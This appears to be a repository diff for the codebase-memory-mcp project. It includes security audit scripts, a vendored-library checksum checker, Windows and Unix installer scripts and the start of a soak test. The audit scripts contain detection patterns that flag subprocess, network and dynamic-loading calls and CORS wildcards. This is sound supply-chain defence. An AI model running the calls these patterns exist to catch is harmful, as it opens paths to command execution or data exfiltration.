if grep -q '127\.0\.0\.1' "$HTTPD"; then
echo "OK: Server binds to 127.0.0.1"
else
echo "BLOCKED: No 127.0.0.1 binding found in httpd.c"
FAIL=1
fi
# Must NOT bind to 0.0.0.0 or INADDR_ANY
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -E '0\.0\.0\.0|INADDR_ANY|in6addr_any' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: Server may bind to all interfaces (0.0.0.0/INADDR_ANY found)"
FAIL=1
else
echo "OK: No 0.0.0.0/INADDR_ANY binding"
fi
fi
# ── C. RPC proxy scope check ─────────────────────────────────────
echo ""
echo "--- C. RPC proxy scope check ---"
if [[ -f "$HTTP_SERVER" ]]; then
# The HTTP handler should not directly call system()/popen()
# (fork/execl for indexing is allowed as it's tracked)
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -n 'system(' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: system() call found in HTTP server (use subprocess instead)"
FAIL=1
else
echo "OK: No system() calls in HTTP handler"
fi
fi
# ── D. CORS check ────────────────────────────────────────────────
echo ""
echo "--- D. CORS check ---"
if [[ -f "$HTTP_SERVER" ]]; then
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -E 'Allow-Origin:\s*\*' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: CORS wildcard (Access-Control-Allow-Origin: *) found"
echo " This allows any website to access the local server."
FAIL=1
else
echo "OK: No CORS wildcard found"
fi
# Check that CORS reflects localhost origins
if grep -q 'localhost' "$HTTP_SERVER" && grep -q 'update_cors\|Access-Control-Allow-Origin' "$HTTP_SERVER"; then
echo "OK: CORS appears to validate localhost origins"
fi
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== UI SECURITY AUDIT FAILED ==="
exit 1
fi
echo "=== UI security audit passed ==="
+202
View File
@@ -0,0 +1,202 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 8: Vendored dependency integrity — verifies vendored C sources match
# checked-in checksums. Detects supply chain tampering of vendored libraries.
#
# Libraries covered: mimalloc, sqlite3, tre, xxhash, yyjson
#
# Usage: scripts/security-vendored.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
CHECKSUMS="$ROOT/scripts/vendored-checksums.txt"
if [[ ! -f "$CHECKSUMS" ]]; then
echo "FAIL: checksums file not found: $CHECKSUMS"
exit 1
fi
echo "=== Layer 8: Vendored Dependency Integrity ==="
# Detect shasum command (shasum on macOS, sha256sum on Linux)
if command -v sha256sum &>/dev/null; then
SHA_CMD="sha256sum"
elif command -v shasum &>/dev/null; then
SHA_CMD="shasum -a 256"
else
echo "SKIP: no sha256sum or shasum available"
exit 0
fi
FAIL=0
CHECKED=0
MISSING=0
# Verify each file in the checksums list
while IFS=' ' read -r expected_hash filepath; do
# Skip empty lines
[[ -z "$expected_hash" ]] && continue
# Strip the two-space separator from filepath (sha256sum format: "hash file")
filepath="${filepath#"${filepath%%[![:space:]]*}"}"
full_path="$ROOT/$filepath"
if [[ ! -f "$full_path" ]]; then
echo "MISSING: $filepath"
MISSING=$((MISSING + 1))
continue
fi
actual_hash=$($SHA_CMD "$full_path" | cut -d' ' -f1)
CHECKED=$((CHECKED + 1))
if [[ "$actual_hash" != "$expected_hash" ]]; then
echo "MISMATCH: $filepath"
echo " expected: $expected_hash"
echo " actual: $actual_hash"
FAIL=1
fi
done < "$CHECKSUMS"
# Verify every vendored library directory has checksum coverage.
# If someone adds a new vendored library, this forces them to register it.
echo ""
echo "--- Checking vendored library coverage ---"
while IFS= read -r libdir; do
libname=$(basename "$libdir")
# Check if any file from this library is in the checksums
if ! grep -q "vendored/${libname}/" "$CHECKSUMS" 2>/dev/null; then
echo "BLOCKED: vendored/${libname}/ has NO checksum coverage"
echo " Run: scripts/security-vendored.sh --update"
FAIL=1
fi
done < <(find "$ROOT/vendored" -mindepth 1 -maxdepth 1 -type d | sort)
# Also check for unexpected NEW files in vendored/ that aren't in the checksums
UNEXPECTED=0
while IFS= read -r file; do
relpath="${file#"$ROOT/"}"
if ! grep -q "$relpath" "$CHECKSUMS" 2>/dev/null; then
echo "NEW FILE: $relpath (not in checksums — run 'scripts/security-vendored.sh --update' to add)"
UNEXPECTED=$((UNEXPECTED + 1))
fi
done < <(find "$ROOT/vendored" -type f \( -name '*.c' -o -name '*.h' \) | sort)
echo ""
echo "Checked: $CHECKED files"
[[ $MISSING -gt 0 ]] && echo "Missing: $MISSING files"
[[ $UNEXPECTED -gt 0 ]] && echo "New (untracked): $UNEXPECTED files"
# Handle --update flag: regenerate checksums
# ── Dangerous call scan: vendored code must not contain subprocess calls ───
echo ""
echo "--- Scanning vendored code for dangerous calls ---"
# Subprocess spawning: must not exist in ANY vendored library
SUBPROCESS_FUNCS='[^a-z_]system\(|[^a-z]popen\(|[^a-z_]execl\(|[^a-z_]execv\(|[^a-z_]fork\('
if grep -rn -E "$SUBPROCESS_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'indicating that a fork' > /dev/null 2>&1; then
echo "BLOCKED: Subprocess calls found in vendored code:"
grep -rn -E "$SUBPROCESS_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'indicating that a fork' | head -10
FAIL=1
else
echo "OK: No subprocess calls (system/popen/exec/fork) in vendored code"
fi
# Network calls: not allowed in ANY vendored code. The graph-UI HTTP server
# is first-party (src/ui/httpd.c) and audited separately by security-ui.sh.
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\(|[^a-z_]bind\('
VENDORED_NETWORK=$(grep -rn -E "$NETWORK_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'sqlite3.*bind()' || true)
if [[ -n "$VENDORED_NETWORK" ]]; then
echo "BLOCKED: Network calls found in vendored code:"
echo "$VENDORED_NETWORK" | head -10
FAIL=1
else
echo "OK: No network calls in vendored code"
fi
# dlopen/LoadLibrary: only allowed in sqlite3 (extension loading) and mimalloc (Windows APIs)
DYNLOAD_FUNCS='dlopen\(|LoadLibrary\('
NON_SQLITE_DYNLOAD=$(grep -rn -E "$DYNLOAD_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
| grep -v 'sqlite3' | grep -v 'mimalloc' || true)
if [[ -n "$NON_SQLITE_DYNLOAD" ]]; then
echo "BLOCKED: Dynamic library loading found outside sqlite3:"
echo "$NON_SQLITE_DYNLOAD" | head -10
FAIL=1
else
echo "OK: dlopen/LoadLibrary only in sqlite3 (blocked by authorizer at runtime)"
fi
# Verify the dangerous call rules cover every vendored library.
# Known safe: yyjson, xxhash, tre (pure computation, no OS interaction)
# Known with exceptions: sqlite3 (dlopen), mimalloc (LoadLibrary)
# If a new library appears, the scan above already checks it — but this ensures
# we've consciously evaluated each library.
KNOWN_VENDORED="mimalloc nomic sqlite3 tre xxhash yyjson"
while IFS= read -r libdir; do
libname=$(basename "$libdir")
found=false
for known in $KNOWN_VENDORED; do
if [[ "$libname" == "$known" ]]; then
found=true
break
fi
done
if ! $found; then
echo "BLOCKED: vendored/${libname}/ is not in the known vendored library list"
echo " Evaluate it for dangerous calls, then add to KNOWN_VENDORED in this script."
FAIL=1
fi
done < <(find "$ROOT/vendored" -mindepth 1 -maxdepth 1 -type d | sort)
# Also scan tree-sitter grammars (internal/cbm/vendored/) — 650MB, 20M lines.
# Use fast fixed-string grep (-F) for each pattern to avoid slow regex on huge codebase.
if [[ -d "$ROOT/internal/cbm/vendored" ]]; then
GRAMMAR_FAIL=false
for pattern in 'system(' 'popen(' 'execl(' 'execv(' 'fork(' 'connect(' 'socket(' 'sendto(' 'dlopen(' 'LoadLibrary('; do
HITS=$(grep -rl -F "$pattern" "$ROOT/internal/cbm/vendored/" --include='*.c' --include='*.h' 2>/dev/null | head -3 || true)
if [[ -n "$HITS" ]]; then
echo "BLOCKED: '$pattern' found in vendored grammars:"
echo "$HITS" | sed 's|.*/vendored/| vendored/|'
GRAMMAR_FAIL=true
fi
done
if $GRAMMAR_FAIL; then
FAIL=1
else
echo "OK: No dangerous calls in vendored tree-sitter grammars"
fi
fi
if [[ "${1:-}" == "--update" ]]; then
echo ""
echo "Updating checksums..."
find "$ROOT/vendored" -type f \( -name '*.c' -o -name '*.h' \) | sort | while IFS= read -r f; do
$SHA_CMD "$f"
done > "$CHECKSUMS"
echo "Updated: $CHECKSUMS ($(wc -l < "$CHECKSUMS" | tr -d ' ') files)"
exit 0
fi
if [[ $FAIL -ne 0 ]]; then
echo ""
echo "=== VENDORED INTEGRITY CHECK FAILED ==="
echo "A vendored file has been modified. If this is intentional (upgrade),"
echo "run: scripts/security-vendored.sh --update"
exit 1
fi
if [[ $UNEXPECTED -gt 0 ]]; then
echo ""
echo "WARNING: New vendored files not in checksums. Run --update if intentional."
fi
echo ""
echo "=== Vendored integrity check passed ==="
+326
View File
@@ -0,0 +1,326 @@
# codebase-memory-mcp setup script (Windows)
# Default: download pre-built native Windows binary
# -FromSource: build from source inside WSL (requires Go + gcc in WSL)
param(
[switch]$FromSource,
[switch]$Help
)
$ErrorActionPreference = "Stop"
$Repo = "DeusData/codebase-memory-mcp"
$BinaryName = "codebase-memory-mcp"
$InstallDir = Join-Path $env:LOCALAPPDATA "codebase-memory-mcp"
# --- Helpers ---
function Write-Ok($msg) { Write-Host " $msg" -ForegroundColor Green }
function Write-Fail($msg) { Write-Host " $msg" -ForegroundColor Red }
function Write-Warn($msg) { Write-Host " $msg" -ForegroundColor Yellow }
function Read-SettingsJson($Path) {
# PS5.1-compatible: ConvertFrom-Json returns PSCustomObject, not Hashtable.
# We convert to ordered hashtable manually.
if (-not (Test-Path $Path)) {
return @{}
}
$raw = Get-Content $Path -Raw
if (-not $raw -or $raw.Trim() -eq "") {
return @{}
}
$obj = $raw | ConvertFrom-Json
$ht = [ordered]@{}
foreach ($prop in $obj.PSObject.Properties) {
if ($prop.Value -is [System.Management.Automation.PSCustomObject]) {
$inner = [ordered]@{}
foreach ($p in $prop.Value.PSObject.Properties) {
$inner[$p.Name] = $p.Value
}
$ht[$prop.Name] = $inner
} else {
$ht[$prop.Name] = $prop.Value
}
}
return $ht
}
function Write-SettingsJson($Path, $Settings) {
# Back up existing file before writing
if (Test-Path $Path) {
Copy-Item $Path "$Path.bak" -Force
}
$Settings | ConvertTo-Json -Depth 10 | Set-Content $Path -Encoding UTF8
}
function Configure-ClaudeCode($McpConfig) {
Write-Host ""
$answer = Read-Host "Configure Claude Code to use codebase-memory-mcp? [y/N]"
if ($answer -match '^[Yy]$') {
$settingsPath = Join-Path $env:USERPROFILE ".claude\settings.json"
$settingsDir = Split-Path $settingsPath -Parent
if (-not (Test-Path $settingsDir)) {
New-Item -ItemType Directory -Path $settingsDir -Force | Out-Null
}
$settings = Read-SettingsJson $settingsPath
if (-not $settings.Contains("mcpServers")) {
$settings["mcpServers"] = [ordered]@{}
}
$settings["mcpServers"]["codebase-memory-mcp"] = $McpConfig
Write-SettingsJson $settingsPath $settings
Write-Ok "Updated $settingsPath"
} else {
Write-Host ""
Write-Host " Add this to your .mcp.json or %USERPROFILE%\.claude\settings.json:" -ForegroundColor White
Write-Host ""
$snippet = @{ mcpServers = @{ "codebase-memory-mcp" = $McpConfig } }
$snippet | ConvertTo-Json -Depth 10 | Write-Host
}
}
function Test-WSL {
try {
$null = wsl.exe --status 2>&1
if ($LASTEXITCODE -ne 0) { return $false }
return $true
} catch {
return $false
}
}
function Get-WSLDistro {
$output = wsl.exe -l -v 2>&1 | Out-String
$lines = $output -split "`n" | Where-Object { $_ -match '\S' } | Select-Object -Skip 1
foreach ($line in $lines) {
$clean = $line -replace '\x00', '' -replace '^\s+', ''
if ($clean -match '^\*?\s*(\S+)\s+') {
$name = $Matches[1]
if ($name -ne "NAME" -and $name -ne "") {
return $name
}
}
}
return $null
}
function Invoke-WSL {
param([string]$Command)
$result = wsl.exe -- bash -c $Command 2>&1
if ($LASTEXITCODE -ne 0) {
throw "WSL command failed: $Command`n$result"
}
return $result
}
# --- Main ---
if ($Help) {
Write-Host ""
Write-Host "Usage: .\setup-windows.ps1 [-FromSource] [-Help]"
Write-Host ""
Write-Host " Default: Download pre-built Windows binary"
Write-Host " -FromSource: Build from source inside WSL (requires Go 1.23+ and gcc in WSL)"
Write-Host ""
exit 0
}
Write-Host ""
Write-Host "codebase-memory-mcp installer (Windows)" -ForegroundColor White
Write-Host ""
if ($FromSource) {
# --- Build from source via WSL ---
Write-Host "Checking WSL2 (required for building from source)..." -ForegroundColor White
if (-not (Test-WSL)) {
Write-Fail "WSL2 is not available. Required for building from source (CGO needs gcc)."
Write-Host ""
Write-Host " Install WSL2:" -ForegroundColor Yellow
Write-Host " wsl --install -d Ubuntu"
Write-Host " Then restart your computer and run this script again."
Write-Host ""
Write-Host " Alternatively, download a pre-built binary (no WSL needed):" -ForegroundColor Yellow
Write-Host " .\setup-windows.ps1"
exit 1
}
Write-Ok "WSL2 is available"
$distro = Get-WSLDistro
if (-not $distro) {
Write-Fail "No WSL Linux distribution found."
Write-Host ""
Write-Host " Install Ubuntu:" -ForegroundColor Yellow
Write-Host " wsl --install -d Ubuntu"
exit 1
}
Write-Ok "WSL distro: $distro"
$wslUser = (Invoke-WSL "whoami").Trim()
Write-Ok "WSL user: $wslUser"
Write-Host ""
Write-Host "Checking prerequisites inside WSL..." -ForegroundColor White
# Check for gcc
try {
Invoke-WSL "command -v gcc" | Out-Null
Write-Ok "gcc found"
} catch {
Write-Warn "gcc not found. Installing build-essential..."
Invoke-WSL "sudo apt-get update && sudo apt-get install -y build-essential"
}
# Check for Go
try {
$goVersion = Invoke-WSL "go version"
Write-Ok "Go: $goVersion"
} catch {
Write-Fail "Go not found in WSL."
Write-Host ""
Write-Host " Install Go 1.23+ inside WSL:" -ForegroundColor Yellow
Write-Host " See https://go.dev/dl/ for Linux amd64 tarball"
exit 1
}
# Check for git
try {
Invoke-WSL "command -v git" | Out-Null
Write-Ok "git found"
} catch {
Write-Fail "git not found in WSL. Install with: sudo apt install git"
exit 1
}
# Clone or update
Write-Host ""
$sourceDir = "/home/$wslUser/.local/share/codebase-memory-mcp"
try {
Invoke-WSL "test -d $sourceDir/.git" | Out-Null
Write-Host "Updating source..." -ForegroundColor White
Invoke-WSL "git -C $sourceDir pull --ff-only"
} catch {
Write-Host "Cloning repository..." -ForegroundColor White
Invoke-WSL "mkdir -p /home/$wslUser/.local/share && git clone https://github.com/$Repo.git $sourceDir"
}
Write-Ok "Source at $sourceDir"
# Build
Write-Host ""
Write-Host "Building binary (this may take a minute)..." -ForegroundColor White
$wslBinaryPath = "/home/$wslUser/.local/bin/$BinaryName"
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && scripts/build.sh && cp build/c/codebase-memory-mcp $wslBinaryPath"
Write-Ok "Built to $wslBinaryPath (inside WSL)"
# Verify
try {
Invoke-WSL "test -x $wslBinaryPath" | Out-Null
Write-Ok "Binary is executable"
} catch {
Write-Fail "Binary at $wslBinaryPath is not executable"
exit 1
}
# Configure — WSL binary needs wsl.exe wrapper
$mcpConfig = [ordered]@{
type = "stdio"
command = "wsl.exe"
args = @("-d", $distro, "--", $wslBinaryPath)
}
Configure-ClaudeCode $mcpConfig
Write-Host ""
Write-Ok "Done! Restart Claude Code and verify with /mcp"
Write-Host ""
Write-Host " To uninstall:" -ForegroundColor White
Write-Host " wsl.exe -- rm $wslBinaryPath"
Write-Host " wsl.exe -- rm -rf $sourceDir"
Write-Host " wsl.exe -- rm -rf ~/.cache/codebase-memory-mcp/"
} else {
# --- Download pre-built native Windows binary ---
Write-Host "Fetching latest release..." -ForegroundColor White
$releaseUrl = "https://api.github.com/repos/$Repo/releases/latest"
$release = Invoke-RestMethod -Uri $releaseUrl -Headers @{ "User-Agent" = "codebase-memory-mcp-setup" }
$tag = $release.tag_name
if (-not $tag) {
Write-Fail "Could not determine latest release."
Write-Host " Check: https://github.com/$Repo/releases"
exit 1
}
Write-Ok "Latest release: $tag"
$asset = "codebase-memory-mcp-windows-amd64.zip"
$downloadUrl = "https://github.com/$Repo/releases/download/$tag/$asset"
Write-Host "Downloading $asset..." -ForegroundColor White
# Create install directory
if (-not (Test-Path $InstallDir)) {
New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null
}
$tmpZip = Join-Path $env:TEMP $asset
Invoke-WebRequest -Uri $downloadUrl -OutFile $tmpZip -UseBasicParsing
# Extract
Expand-Archive -Path $tmpZip -DestinationPath $InstallDir -Force
Remove-Item $tmpZip -Force
$binaryPath = Join-Path $InstallDir "$BinaryName.exe"
if (-not (Test-Path $binaryPath)) {
Write-Fail "Binary not found at $binaryPath after extraction"
exit 1
}
Write-Ok "Installed to $binaryPath"
# Verify binary runs
try {
$verOut = & $binaryPath --version 2>&1
Write-Ok "Version: $verOut"
} catch {
Write-Warn "Could not verify binary version (may still work)"
}
# SmartScreen note
Write-Host ""
Write-Warn "Windows SmartScreen may show a warning when the binary runs for the first time."
Write-Host " This is normal for unsigned open-source binaries." -ForegroundColor Yellow
Write-Host " Click 'More info' then 'Run anyway' to proceed." -ForegroundColor Yellow
Write-Host " Verify checksums at: https://github.com/$Repo/releases" -ForegroundColor Yellow
# Check if install dir is on PATH
$userPath = [Environment]::GetEnvironmentVariable("Path", "User")
if ($userPath -notlike "*$InstallDir*") {
Write-Host ""
Write-Warn "$InstallDir is not on your PATH."
$addPath = Read-Host " Add it to your user PATH? [y/N]"
if ($addPath -match '^[Yy]$') {
[Environment]::SetEnvironmentVariable("Path", "$userPath;$InstallDir", "User")
Write-Ok "Added to user PATH (restart your terminal to take effect)"
}
}
# Configure Claude Code
$mcpConfig = [ordered]@{
type = "stdio"
command = $binaryPath
}
Configure-ClaudeCode $mcpConfig
Write-Host ""
Write-Ok "Done! Restart Claude Code and verify with /mcp"
Write-Host ""
Write-Host " To uninstall:" -ForegroundColor White
Write-Host " Remove-Item -Recurse -Force '$InstallDir'"
Write-Host " Remove-Item -Recurse -Force `"$env:LOCALAPPDATA\codebase-memory-mcp`" # graph database"
}
+335
View File
@@ -0,0 +1,335 @@
#!/usr/bin/env bash
set -euo pipefail
# codebase-memory-mcp setup script (macOS + Linux)
# Default: download pre-built binary from GitHub Release
# --from-source: build from source (requires Go + C compiler)
REPO="DeusData/codebase-memory-mcp"
INSTALL_DIR="$HOME/.local/bin"
BINARY_NAME="codebase-memory-mcp"
SOURCE_DIR="$HOME/.local/share/codebase-memory-mcp"
CLEANUP_DIR="" # set by download_binary for EXIT trap
# --- Colors ---
if [ -t 1 ] && command -v tput &>/dev/null; then
GREEN=$(tput setaf 2)
RED=$(tput setaf 1)
YELLOW=$(tput setaf 3)
BOLD=$(tput bold)
RESET=$(tput sgr0)
else
GREEN=""
RED=""
YELLOW=""
BOLD=""
RESET=""
fi
ok() { echo "${GREEN}${RESET} $*"; }
fail() { echo "${RED}${RESET} $*"; }
warn() { echo "${YELLOW}${RESET} $*"; }
info() { echo " $*"; }
die() { fail "$@"; exit 1; }
# --- Argument parsing ---
FROM_SOURCE=false
for arg in "$@"; do
case "$arg" in
--from-source) FROM_SOURCE=true ;;
--help|-h)
echo "Usage: $0 [--from-source]"
echo ""
echo " Default: Download pre-built binary from GitHub Release"
echo " --from-source: Clone and build from source (requires Go 1.23+ and a C compiler)"
exit 0
;;
*) die "Unknown argument: $arg" ;;
esac
done
# --- Platform detection ---
detect_platform() {
local os arch
os=$(uname -s)
arch=$(uname -m)
case "$os" in
Darwin) os="darwin" ;;
Linux) os="linux" ;;
*) die "Unsupported OS: $os. Use WSL2 on Windows." ;;
esac
case "$arch" in
arm64|aarch64) arch="arm64" ;;
x86_64|amd64)
# On macOS, uname -m returns x86_64 under Rosetta even on Apple Silicon.
# Check the actual hardware to pick the right binary.
if [ "$os" = "darwin" ] && sysctl -n hw.optional.arm64 2>/dev/null | grep -q '1'; then
arch="arm64"
else
arch="amd64"
fi
;;
*) die "Unsupported architecture: $arch" ;;
esac
echo "${os}-${arch}"
}
# --- Prerequisite checks ---
check_download_tool() {
if command -v curl &>/dev/null; then
echo "curl"
elif command -v wget &>/dev/null; then
echo "wget"
else
die "Neither curl nor wget found. Install one and retry."
fi
}
check_go_version() {
if ! command -v go &>/dev/null; then
die "Go not found. Install Go 1.23+ from https://go.dev/dl/"
fi
local version
version=$(go version | grep -oE 'go[0-9]+\.[0-9]+' | head -1)
local major minor
major=$(echo "$version" | grep -oE '[0-9]+' | head -1)
minor=$(echo "$version" | grep -oE '[0-9]+' | sed -n '2p')
if [ "$major" -lt 1 ] || { [ "$major" -eq 1 ] && [ "$minor" -lt 23 ]; }; then
die "Go $major.$minor found, but 1.23+ is required. Update from https://go.dev/dl/"
fi
ok "Go $major.$minor"
}
check_c_compiler() {
if command -v cc &>/dev/null || command -v gcc &>/dev/null || command -v clang &>/dev/null; then
ok "C compiler found"
return
fi
local os
os=$(uname -s)
if [ "$os" = "Darwin" ]; then
die "No C compiler found. Run: xcode-select --install"
else
die "No C compiler found. Install build-essential (Debian/Ubuntu) or gcc (Fedora/RHEL)"
fi
}
check_git() {
if ! command -v git &>/dev/null; then
die "Git not found. Install git and retry."
fi
ok "Git found"
}
# --- Download binary ---
fetch() {
local url="$1" tool="$2"
if [ "$tool" = "curl" ]; then
curl -fsSL "$url"
else
wget -qO- "$url"
fi
}
download_binary() {
local platform="$1" tool="$2"
echo ""
echo "${BOLD}Fetching latest release...${RESET}"
local tag
tag=$(fetch "https://api.github.com/repos/${REPO}/releases/latest" "$tool" | grep '"tag_name"' | head -1 | sed 's/.*"tag_name": *"//;s/".*//')
if [ -z "$tag" ]; then
die "Could not determine latest release. Check https://github.com/${REPO}/releases"
fi
ok "Latest release: $tag"
local asset="codebase-memory-mcp-${platform}.tar.gz"
local url="https://github.com/${REPO}/releases/download/${tag}/${asset}"
echo "${BOLD}Downloading ${asset}...${RESET}"
CLEANUP_DIR=$(mktemp -d)
trap 'rm -rf "$CLEANUP_DIR"' EXIT
local tmpdir="$CLEANUP_DIR"
fetch "$url" "$tool" > "${tmpdir}/${asset}"
tar -xzf "${tmpdir}/${asset}" -C "$tmpdir"
mkdir -p "$INSTALL_DIR"
mv "${tmpdir}/${BINARY_NAME}" "${INSTALL_DIR}/${BINARY_NAME}"
chmod +x "${INSTALL_DIR}/${BINARY_NAME}"
ok "Installed to ${INSTALL_DIR}/${BINARY_NAME}"
}
# --- Build from source ---
build_from_source() {
echo ""
echo "${BOLD}Checking prerequisites...${RESET}"
check_go_version
check_c_compiler
check_git
echo ""
if [ -d "$SOURCE_DIR/.git" ]; then
echo "${BOLD}Updating source...${RESET}"
git -C "$SOURCE_DIR" pull --ff-only
else
echo "${BOLD}Cloning repository...${RESET}"
mkdir -p "$(dirname "$SOURCE_DIR")"
git clone "https://github.com/${REPO}.git" "$SOURCE_DIR"
fi
ok "Source at ${SOURCE_DIR}"
echo ""
echo "${BOLD}Building binary (this may take a minute)...${RESET}"
mkdir -p "$INSTALL_DIR"
(cd "$SOURCE_DIR" && scripts/build.sh && cp build/c/codebase-memory-mcp "${INSTALL_DIR}/${BINARY_NAME}")
ok "Built and installed to ${INSTALL_DIR}/${BINARY_NAME}"
}
# --- MCP auto-configuration ---
configure_claude() {
echo ""
local binary_path="${INSTALL_DIR}/${BINARY_NAME}"
local claude_config_dir="${CLAUDE_CONFIG_DIR:-$HOME/.claude}"
local settings_file="${claude_config_dir}/settings.json"
printf "%s" "${BOLD}Configure Claude Code to use codebase-memory-mcp? [y/N] ${RESET}"
read -r answer
if [[ ! "$answer" =~ ^[Yy]$ ]]; then
echo ""
info "Add this to your .mcp.json or ${claude_config_dir}/settings.json:"
echo ""
echo ' {'
echo ' "mcpServers": {'
echo ' "codebase-memory-mcp": {'
echo ' "type": "stdio",'
echo " \"command\": \"${binary_path}\""
echo ' }'
echo ' }'
echo ' }'
return
fi
local mcp_entry
mcp_entry=$(cat <<JSONEOF
{"type":"stdio","command":"${binary_path}"}
JSONEOF
)
mkdir -p "$(dirname "$settings_file")"
if command -v jq &>/dev/null; then
# Use jq to merge
if [ -f "$settings_file" ]; then
local tmp
tmp=$(mktemp)
jq --argjson entry "$mcp_entry" '.mcpServers["codebase-memory-mcp"] = $entry' "$settings_file" > "$tmp"
mv "$tmp" "$settings_file"
else
echo "{}" | jq --argjson entry "$mcp_entry" '.mcpServers["codebase-memory-mcp"] = $entry' > "$settings_file"
fi
ok "Updated ${settings_file}"
elif command -v python3 &>/dev/null; then
python3 -c "
import json, os
path = os.path.expanduser('$settings_file')
data = {}
if os.path.exists(path):
with open(path) as f:
data = json.load(f)
data.setdefault('mcpServers', {})['codebase-memory-mcp'] = json.loads('$mcp_entry')
with open(path, 'w') as f:
json.dump(data, f, indent=2)
print()
"
ok "Updated ${settings_file}"
else
warn "Neither jq nor python3 found — cannot auto-configure."
echo ""
info "Add this to ${settings_file} manually:"
echo ""
echo ' "mcpServers": {'
echo ' "codebase-memory-mcp": {'
echo ' "type": "stdio",'
echo " \"command\": \"${binary_path}\""
echo ' }'
echo ' }'
fi
}
# --- PATH check ---
check_path() {
if [[ ":$PATH:" != *":${INSTALL_DIR}:"* ]]; then
echo ""
warn "${INSTALL_DIR} is not on your PATH."
info "Add this to your shell profile (~/.bashrc, ~/.zshrc, etc.):"
echo ""
echo " export PATH=\"${INSTALL_DIR}:\$PATH\""
fi
}
# --- Main ---
echo ""
echo "${BOLD}codebase-memory-mcp installer${RESET}"
echo ""
if [ "$FROM_SOURCE" = true ]; then
build_from_source
else
platform=$(detect_platform)
ok "Platform: ${platform}"
tool=$(check_download_tool)
ok "Download tool: ${tool}"
download_binary "$platform" "$tool"
fi
# Verify binary
if [ ! -x "${INSTALL_DIR}/${BINARY_NAME}" ]; then
die "Binary at ${INSTALL_DIR}/${BINARY_NAME} is not executable"
fi
ver_output=$("${INSTALL_DIR}/${BINARY_NAME}" --version 2>&1) || true
if [ -n "$ver_output" ]; then
ok "$ver_output"
else
ok "Binary is executable"
fi
configure_claude
check_path
# --- Git hooks ---
# If run from inside the repo, activate tracked hooks
if [ -d "scripts/hooks" ] && git rev-parse --git-dir &>/dev/null; then
git config core.hooksPath scripts/hooks
ok "Git hooks activated (scripts/hooks/)"
fi
echo ""
ok "Done! Restart Claude Code and verify with /mcp"
echo ""
info "To uninstall:"
info " rm ${INSTALL_DIR}/${BINARY_NAME}"
info " rm -rf ${SOURCE_DIR} # if built from source"
info " rm -rf ~/.cache/codebase-memory-mcp/ # graph database"
+1069
View File
File diff suppressed because it is too large Load Diff
+1938
View File
File diff suppressed because it is too large Load Diff
+491
View File
@@ -0,0 +1,491 @@
#!/usr/bin/env bash
# soak-test.sh — Endurance test for codebase-memory-mcp.
#
# Runs compressed workload cycles: queries, file mutations, reindexes, idle periods.
# Reads diagnostics from /tmp/cbm-diagnostics-<pid>.json (requires CBM_DIAGNOSTICS=1).
# Outputs metrics to soak-results/ and exits 0 (pass) or 1 (fail).
#
# Usage:
# scripts/soak-test.sh <binary> <duration_minutes> [--skip-crash-test]
#
# Tiers:
# 10 min = quick soak (CI gate)
# 15 min = ASan soak (leak detection)
# 240 min = nightly (compressed 4h = ~5 days real usage)
set -euo pipefail
BINARY="${1:?Usage: soak-test.sh <binary> <duration_minutes>}"
DURATION_MIN="${2:?Usage: soak-test.sh <binary> <duration_minutes>}"
SKIP_CRASH="${3:-}"
BINARY=$(cd "$(dirname "$BINARY")" && pwd)/$(basename "$BINARY")
# Soak mode selector.
# default = original mixed workload (queries + mutations + periodic reindex
# + crash-recovery). Unchanged from before this env var existed.
# query-leak = #581 detector. After the initial index, NEVER reindex and NEVER
# mutate files, so the mimalloc page-return path (cbm_mem_collect,
# triggered by index_repository) is never invoked and cannot sweep
# a query-only leak. Phase 3 then hammers a variety of READ tools
# (search_graph / query_graph / trace_path / get_code_snippet /
# search_code) to exercise the query-only store-open + WAL + alloc
# paths the bug report implicates. The RSS slope/ratio/ceiling
# analysis below is the leak detector. The crash-recovery phase is
# skipped in this mode because it reindexes (which would mask #581).
CBM_SOAK_MODE="${CBM_SOAK_MODE:-default}"
RESULTS_DIR="${RESULTS_DIR:-soak-results}"
mkdir -p "$RESULTS_DIR"
METRICS_CSV="$RESULTS_DIR/metrics.csv"
LATENCY_CSV="$RESULTS_DIR/latency.csv"
SUMMARY="$RESULTS_DIR/summary.txt"
echo "timestamp,uptime_s,rss_bytes,heap_committed,fd_count,query_count,query_max_us" > "$METRICS_CSV"
echo "timestamp,tool,duration_ms,exit_code" > "$LATENCY_CSV"
> "$SUMMARY"
DURATION_S=$((DURATION_MIN * 60))
echo "=== soak-test: binary=$BINARY duration=${DURATION_MIN}m mode=${CBM_SOAK_MODE} ==="
# ── Helper: generate realistic test project (~200 files) ─────────
SOAK_PROJECT=$(mktemp -d)
generate_project() {
local root="$1"
# Python package (80 files)
for i in $(seq 1 20); do
local pkg="$root/src/pkg_${i}"
mkdir -p "$pkg"
cat > "$pkg/__init__.py" << PYEOF
from .handlers import handle_${i}
from .models import Model${i}
PYEOF
cat > "$pkg/handlers.py" << PYEOF
from .models import Model${i}
from .utils import validate_${i}, transform_${i}
